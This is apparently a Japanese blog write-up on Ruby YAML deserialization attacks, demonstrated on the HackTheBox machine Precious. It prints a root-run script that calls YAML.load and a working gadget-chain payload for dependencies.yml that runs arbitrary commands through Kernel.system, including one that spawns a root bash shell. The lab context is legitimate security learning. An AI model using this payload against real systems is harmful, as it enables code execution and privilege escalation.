YAML Deserialization Attack について

# YAML Deserialization Attack とは

RubyのYAMLデシリアライゼーション攻撃は、悪意のあるユーザーがRubyのYAMLパーサーを悪用して、予期しないコードの実行やシステムへの不正なアクセスを行おうとする攻撃手法です。
この攻撃は、**RubyのYAMLパーサーが入力データをデシリアライズ（復元）する際に生じる脆弱性**を悪用しています。

YAML（YAML Ain't Markup Language）は、人間に読みやすく記述できるデータシリアライゼーション形式です。
RubyのYAMLパーサーは、YAML形式のデータを解析し、Rubyオブジェクトに復元します。
このデシリアライゼーションプロセスにおいて、攻撃者は悪意のあるコードを埋め込んだYAMLデータを作成し、パーサーがそれを実行するように仕向けます。

攻撃者は、YAML内の特定の構文や機能を利用して、任意のRubyコードの実行やシステムへのアクセスを試みることができます。

Chat GPTより。

# やってみる

今回はHackTheBoxのPreciousというマシンに焦点を当てて解説していきます。

このマシンを攻略する際に一部利用しました。
ネタバレになる恐れがありますので、注意してください。

以下のようなコードがRootで実行されるとします。

```ruby
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end
```

Rubyの`YAML.load`には脆弱性があります。
上記のスクリプトの場合は、`dependencies.yml`を呼びだすので、以下のようなファイルを用意します。

任意のコマンドは`git_set: echo "VULN"`に書きます。

```dependencies.yml
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: echo "VULN"
         method_id: :resolve
```

実行すると以下のような結果が得られます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/1f294dd8-b79b-9885-9411-22d6f969b0ea.png)

# SHELL

SHELLが欲しいならこのような感じで実行します。

```
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: /bin/bash
         method_id: :resolve
```

このファイルの呼び出し元が`root`としての実行が許可されているならrootのBashが取れますね。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/09c8cc2a-b0a5-98c9-4288-c94be71f7869.png)

# まとめ

日本語のドキュメントが出てこなかったので書きました。

わーい

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/4bcd80f2-4251-c608-1d79-fa1a7815cda5.png)


# 参考

https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Insecure%20Deserialization/YAML/

https://github.com/DevComputaria/KnowledgeBase/blob/master/pentesting-web/deserialization/python-yaml-deserialization.md